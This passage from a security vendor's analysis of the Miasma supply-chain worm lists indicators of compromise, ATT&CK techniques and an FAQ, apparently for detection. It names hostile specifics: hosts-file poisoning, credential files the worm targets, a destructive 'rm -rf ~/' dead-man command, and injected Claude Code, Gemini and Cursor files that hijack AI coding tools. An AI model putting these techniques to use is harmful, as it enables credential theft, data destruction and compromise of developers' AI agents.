  • DontRevokeOrItGoesBoom - GitHub commit search string; PATs stashed alongside this string are targeted by the worm

  • TheBeautifulSandsOfTime - GitHub commit search string for signed C2 commands (inline JS eval)

  • firedalazer - commit message keyword for signed C2 URL rotation used by GITHUB_MONITOR and DomainSenderFactory

Exfiltration repos:

  • Newly created public GitHub repos with Greek underworld names matching the pattern (stygian|tartarean|erebean|infernal|chthonic|acheronian|lethean|plutonian|abyssal|charonian|thanatic|funereal|nekyian|sepulchral|tenebrous|cimmerian)-(cerberus|charon|tartarus|erebus|asphodel|acheron|styx|lethe|cocytus|phlegethon|shade|eidolon|wraith|thanatos|hecate|persephone)-[0-9]{5}

  • Repository description: "Hades * The End for the Damned" - hardcoded on every created exfil repo

  • File pattern: results/<timestamp>-<counter>.json in exfil repos

Runtime downloads:

  • https://github.com/oven-sh/bun/releases/download/bun-v1.3.14/bun-{platform}-{arch}.zip - Bun runtime downloaded by INJECT_PTH.pth and JS_LOADER

  • https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/... - Bun version used by BASH_LOADER.sh (SSH delivery path uses a different pinned version)

StepSecurity bypass:

  • /etc/hosts entry: 127.0.0.1 agent.stepsecurity.io api.stepsecurity.io app.stepsecurity.io www.stepsecurity.io stepsecurity.io

  • /etc/resolv.conf overwrite: nameserver 8.8.8.8

Filesystem

Worm payload drops:

  • ~/.config/index.js - worm payload (AES-128-GCM + ROT-N self-extracting wrapper); created by Claude mutator

  • /tmp/.bun_ran - INJECT_PTH one-run guard; presence confirms Python .pth persistence has fired

  • /var/tmp/.gh_update_state - GITHUB_MONITOR command deduplication state; presence confirms persistent C2 channel is installed

  • /tmp/b/bun or /tmp/b/bun.exe - Bun runtime cached by INJECT_PTH.pth

GITHUB_MONITOR persistence (service name: update-monitor):

  • ~/.local/share/updater/update.py

  • ~/.config/systemd/user/update-monitor.service

  • ~/Library/LaunchAgents/com.user.update-monitor.plist

Dead-man switch persistence (service name: gh-token-monitor):

  • ~/.local/bin/gh-token-monitor.sh

  • ~/.config/gh-token-monitor/token (mode 600 - stolen PAT)

  • ~/.config/gh-token-monitor/handler (mode 600 - destruction command)

  • ~/.config/systemd/user/gh-token-monitor.service

  • ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

Python .pth persistence:

  • <site-packages>/INJECT_PTH.pth - single obfuscated line; injected by PypiMutator and PyPIOidcClient

  • <site-packages>/_index.js - worm payload copied into Python site-packages

Files injected into victim repositories (branches with open PRs):

  • .github/setup.js - JS_LOADER bootstrapper

  • .claude/settings.json - Claude Code SessionStart hook

  • .gemini/settings.json - Gemini CLI SessionStart hook

  • .cursor/rules/setup.mdc - Cursor rules injection (AI model instruction format)

  • .vscode/tasks.json - VSCode folderOpen task

  • .vscode/setup.mjs - Bun bootstrapper

  • .claude/index.js - worm payload

  • .claude/setup.mjs - Bun bootstrapper for Claude Code vector

SSH delivery (SshMutator):

  • /tmp/.sshu-<6 random chars>/ - remote temp directory on SSH target hosts

  • ai_setup.sh - BASH_LOADER script on SSH targets

  • ai_init.js - worm payload on SSH targets

AWS SSM delivery:

  • /tmp/.ssm-setup.js - worm payload written on EC2 instances via SSM SendCommand

Process Indicators

  • bun run ~/.config/index.js - worm execution via AI tool hook

  • bun run .claude/index.js - worm execution from repo hook

  • node .vscode/setup.mjs - VSCode task bootstrap

  • node .github/setup.js - Claude/Gemini hook payload

  • gh auth token - GitHub CLI token extraction (run as subprocess by any bun/node parent process)

  • python3 /tmp/*.py - GITHUB_MONITOR executing downloaded C2 commands from temp files

  • sudo python3 with stdin from a memory dump script - Runner.Worker /proc/mem dump

Commit and Repository Indicators

  • Commit message chore: update dependencies + trailer skip-checks:true - RepositoryMutator fallback; any commit with this message adding .claude/, .gemini/, .cursor/, or .vscode/ files is an IOC

  • Commit message fix: ci - used in OIDC branch injection

  • chore: update dependencies [skip ci] - second commit in OIDC branch injection (restores original tree after deployment-target commit)

  • Branch names snapshot-<8 hex chars> - OIDC injection branch

  • Workflow named "Dependabot Updates" with a workflow_dispatch trigger and OIDC_PACKAGES env var - OIDC injection camouflage

  • Workflow named "Run Copilot" dumping ${{ toJSON(secrets) }} to artifact format-results - GitHubActionsService secrets dump

  • Workflow file at .github/workflows/codeql.yml added by the worm (not a genuine CodeQL workflow)

  • Semver tags (v1, v2.x.x) pointing to orphan commits (commits with no parent) - ActionMutator IOC

  • Action step oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 + step named "Cleanup Action" - ActionMutator injection signature

  • Branch protection deletion (protected_branch.destroy in GitHub Audit Log) with no corresponding restore - RepositoryMutator admin-token path

  • User-Agent python-requests/2.31.0 used by RepositoryMutator for enterprise user detection

npm Package Indicators

  • Bumped patch version with no corresponding changelog or git tag

  • preinstall script added to package.json

  • bun added as a dependency

  • optionalDependencies entry pointing to github:axios/axios#main combined with .npmrc containing git=node - --ignore-scripts bypass (orphanDep.ts)

  • npm provenance for a package where the provenance buildTrigger references a snapshot-* branch or a workflow named "Dependabot Updates" - sigstore signatures will verify as genuine

Credentials Targeted

  • ~/.aws/credentials, ~/.aws/config

  • ~/.azure/accessTokens.json, ~/.azure/msal_token_cache.*

  • ~/.config/gcloud/application_default_credentials.json, ~/.config/gcloud/credentials.db

  • ~/.kube/config

  • ~/.ssh/ (all private keys, known_hosts, config, authorized_keys)

  • ~/.docker/config.json

  • ~/.gitconfig, ~/.git-credentials, ~/.netrc

  • ~/.npmrc, ~/.pypirc, ~/.gem/credentials

  • ~/.claude.json, ~/.claude/*, ~/.claude/projects/*, ~/.claude/mcp.json

  • ~/.config/helm/*

  • ~/.ethereum/keystore/*, ~/.monero/*

  • ~/.config/Signal/*, ~/.config/Slack/Cookies, ~/.config/telegram-desktop/*

  • ~/.bash_history, ~/.zsh_history, ~/.python_history, ~/.mysql_history, ~/.psql_history

  • .env, .env.local, .env.production, .env.development, .env.staging

  • VAULT_TOKEN, VAULT_AUTH_TOKEN (env)

  • GITHUB_TOKEN, GITHUB_TOKEN2 (env)

  • AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY (env)

Embedded Keys

  • RSA-4096 enc_key.pub (exfiltration encryption public key) - presence in any file or binary confirms Miasma

  • RSA-4096 verify_key.pub partial match: MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAw5zZbSXX+4X2kTs/zC7l - embedded in GITHUB_MONITOR.py

  • AES-256 TOKEN_AES_KEY (hardcoded hex): bd8035203536735490e4bd5cdcede581a9d3a3f7a5df7725859844d8dcc8eb49 - used to encrypt PATs stashed in GitHub repos

Hashes

  • SHA256 (outer package.zip): 0736c83273465c6b64c04bd92f0e7a8517e8dbc19bb54d6c9ab41420fd833d6b

  • SHA256 (Miasma-Open-Source-Release-main.zip): 6331d1511783dcb1158fb54775f563e90399b3a2a81a584d3cba9a77f63d15a7

Affected Versions

  • Miasma-Open-Source-Release-main (voicefromtheouterworld, no published version tag)

MITRE ATT&CK

ID

Technique

Application

T1195.002

Supply Chain Compromise: Software Supply Chain

npm/PyPI/RubyGems packages trojanized with preinstall hooks; GitHub Actions semver tags hijacked; OIDC branch injection; PyPI typo-squatting via -mcp/-mpc suffixes

T1195.001

Supply Chain Compromise: Compromise Software Dependencies

.npmrc git=node override forces npm to execute clone.js as the git binary when resolving a github: dependency, bypassing npm install --ignore-scripts entirely

T1078.004

Valid Accounts: Cloud Accounts

All propagation and exfiltration uses legitimate victim GitHub PATs; no malicious login events are generated

T1059.007

JavaScript

Primary worm bundle; JS_LOADER.mjs bootstraps Bun from Node.js; c2/checkin.ts eval()s arbitrary JavaScript from signed GitHub commits at runtime

T1059.006

Python

INJECT_PTH.pth runs on every Python interpreter startup; GITHUB_MONITOR.py downloads and executes arbitrary Python from signed C2 URLs

T1059.004

Unix Shell

BASH_LOADER.sh bootstraps Bun on SSH targets; DEADMAN_SWITCH.sh monitors token validity and fires destruction handler

T1204.002

User Execution: Malicious File

VSCode folderOpen task fires on repo open; Claude Code and Gemini CLI SessionStart hooks fire on session start; Cursor rules injection exploits model instruction-following

T1543.001

Create or Modify System Process: Launch Agent

~/.config/systemd/user/gh-token-monitor.service and update-monitor.service on Linux; ~/Library/LaunchAgents/ equivalents on macOS; loginctl enable-linger survives user logout

T1546

Event-Triggered Execution

Claude Code and Gemini CLI SessionStart hooks; VSCode folderOpen task

T1554

Compromise Host Software Binary

npm preinstall hook injection; RubyGems native extension (ext/extconf.rb + Makefile) injection; PyPI .pth injection

T1611

Escape to Host

Spawns privileged Alpine container mounted at /etc/sudoers.d/ to grant passwordless sudo to the runner user

T1610

Deploy Container

Creates and starts privileged Docker container via Docker socket to escalate privileges and restore sudo

T1027

Obfuscated Files or Information

Polyalphabetic substitution cipher (stringtool.ts) with per-build passphrase baked into runtimeDecoder.ts; all string literals wrapped in scramble() at build time

T1027.002

Software Packing

javascript-obfuscator with control-flow flattening, dead code injection, and string array encoding; additional obfplus-wrap.js outer wrapper layer

T1027.013

Encrypted/Encoded File

All embedded payload assets AES-256-GCM encrypted at build time; self-extracting payloads use AES-128-GCM + ROT-N with per-build random keys

T1036.005

Masquerading: Match Legitimate Name or Location

C2 path api.anthropic.com/v1/api impersonates the Anthropic API; OIDC injection workflow named "Dependabot Updates"; injected Actions workflow file named codeql.yml; service name gh-token-monitor appears to be a legitimate monitoring tool

T1140

Deobfuscate/Decode Files or Information

runtimeDecoder.ts decodes all obfuscated strings at runtime using the per-build injected passphrase

T1497.001

Virtualization/Sandbox Evasion: System Checks

Checks for decoy token prefixes, sandbox CWD paths, specific sandbox tool paths, hostname containing "sandbox", and honeypot AWS credential file contents; exits on Russian locale

T1518.001

Security Software Discovery

Checks 17 EDR/AV process names and 4 installation paths before running credential providers or mutators

T1562.001

Impair Defenses: Disable or Modify Tools

Kills StepSecurity Harden-Runner Docker containers via Docker socket; spawns privileged container to restore runner sudo

T1562.006

Impair Defenses: Indicator Blocking

Poisons /etc/hosts to localhost-loop stepsecurity.io domains; overwrites /etc/resolv.conf with public DNS servers

T1564.001

Hide Artifacts: Hidden Files and Directories

Payload at ~/.config/index.js; service config at ~/.config/gh-token-monitor/; state file at /var/tmp/.gh_update_state

T1070

Indicator Removal

Deletes PATS and PASSPHRASE secrets from GitHub Actions 15 seconds after reinfection workflow dispatch; orphan-commit.py creates and immediately deletes temp tags leaving commits unreferenced

T1552.001

Unsecured Credentials: Credentials In Files

100+ filesystem hotspot paths scanned including cloud credentials, package registry tokens, AI tool configs, shell histories, crypto wallets, and messaging app data

T1552.004

Unsecured Credentials: Private Keys

~/.ssh/id*, ~/.ssh/id_rsa, ~/.ssh/id_ecdsa, ~/.ssh/id_ed25519, /etc/ssh/ssh_host_*_key

T1552.005

Unsecured Credentials: Cloud Instance Metadata API

AWS IMDSv2, Azure IMDS, and GCP metadata server all queried for credentials

T1528

Steal Application Access Token

GitHub PATs, npm tokens, RubyGems API keys, PyPI tokens, JFrog tokens harvested from files and environment

T1539

Steal Web Session Cookie

Discord and Element browser local storage; Signal config; Slack cookies

T1555.005

Credentials from Password Stores: Password Managers

1Password CLI (op), Bitwarden CLI (bw), pass, gopass

T1212

Exploitation for Credential Access

GitHub Runner /proc/<pid>/mem dump extracts Actions secrets that never touch disk or environment variables

T1021.004

Remote Services: SSH

SCP worm payload to hosts enumerated from ~/.ssh/known_hosts and config, then SSH exec

T1072

Software Deployment Tools

AWS SSM SendCommand (AWS-RunShellScript) dispatched to all managed EC2 instances across 17 regions

T1041

Exfiltration Over C2 Channel

Encrypted batches HTTPS-POSTed to api.anthropic.com/v1/api (operator builds)

T1567.001

Exfiltration Over Web Service: Exfiltration to Code Repository

Encrypted blobs committed to freshly-created public GitHub repos with Greek underworld-themed names

T1022

Archive Collected Data

Data is gzip-compressed then AES-256-GCM encrypted before exfiltration

T1568

Dynamic Resolution

C2 domain discovered at runtime from cryptographically signed GitHub commits; allows operator to rotate C2 without redeploying the worm

T1102.002

Web Service: Bidirectional Communication

GITHUB_MONITOR.py polls GitHub commit search hourly for signed firedalazer C2 commands; c2/checkin.ts performs runtime C2 eval via the same mechanism

T1573.002

Encrypted Channel: Asymmetric Cryptography

All exfiltrated data wrapped in RSA-OAEP-SHA256; C2 commands authenticated with RSA-PSS-SHA256

A Note from Ossprey

Ossprey obtained and analyzed the Miasma source release after it was published publicly. This was not an Ossprey detection event - Miasma was not distributed through a package registry, and there was no package for our pipeline to flag. For organizations whose pipelines process npm, PyPI, or RubyGems dependencies, Ossprey's behavioral analysis models the exact tradecraft Miasma uses: binding.gyp and preinstall triggers, per-build AES-GCM self-extracting payloads, multi-ecosystem publish-token abuse, and the .npmrc git=node bypass of --ignore-scripts. Derivative campaigns that deploy this worm through a registry would be detectable before install. The public availability of the full source - including the TypoMutator, OIDC branch injection, and --ignore-scripts bypass, none of which are documented in the authors' ARCHITECTURE.MD - makes monitoring for Miasma-derived registry uploads an active Ossprey priority.

For teams processing open-source dependencies at scale, book a demo to see how Ossprey's behavioral analysis detects Miasma-derived campaigns before they reach your environment.

Related Ossprey research: The Complete TeamPCP Campaign | Trivy Supply Chain Attack: TeamPCP, CanisterWorm | Axios Hijacked: Cross-Platform RAT | TJ-Actions Breach

Frequently Asked Questions

Was there a malicious npm package I need to remove? Miasma was released as a public source repository, not as a deployed registry package. No published npm, PyPI, or RubyGems package is known to contain this worm at time of writing. If you find an installed package that looks like a derivative, compare its package.json against the preinstall hook and Bun dependency patterns in the IOC section above.

Does Ossprey detect Miasma? Miasma was not distributed through a package registry, so there was no package for Ossprey's pipeline to analyze. Derivative campaigns deploying Miasma's tradecraft through npm, PyPI, or RubyGems would be detectable before install - the binding.gyp + preinstall combination, per-build AES-GCM self-extracting payloads, and .npmrc git=node override are all behavioral signals Ossprey models.

How confident are you that TeamPCP authored this? We are not. The README claims TeamPCP authorship. Our assessment is that this was written by a group inspired by TeamPCP rather than TeamPCP itself. Attribution requires C2 infrastructure correlation beyond code-level overlap. See our Complete TeamPCP Campaign research for the confirmed attribution baseline.

Is the api.anthropic.com C2 infrastructure live? The api.anthropic.com transport is explicitly stripped from the open-source build. In the published source, GitHub repository commits are the only active exfiltration path. Operator builds are expected to re-enable it - the full implementation is present in src/sender/domain/.

I found gh-token-monitor running. What do I do? Stop the service before revoking any stolen PATs. The dead-man switch fires rm -rf ~/; rm -rf ~/Documents the moment it receives a 4xx response from the GitHub API on the monitored token. Stop first: systemctl --user stop gh-token-monitor (Linux) or launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist (macOS). Then revoke.

SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.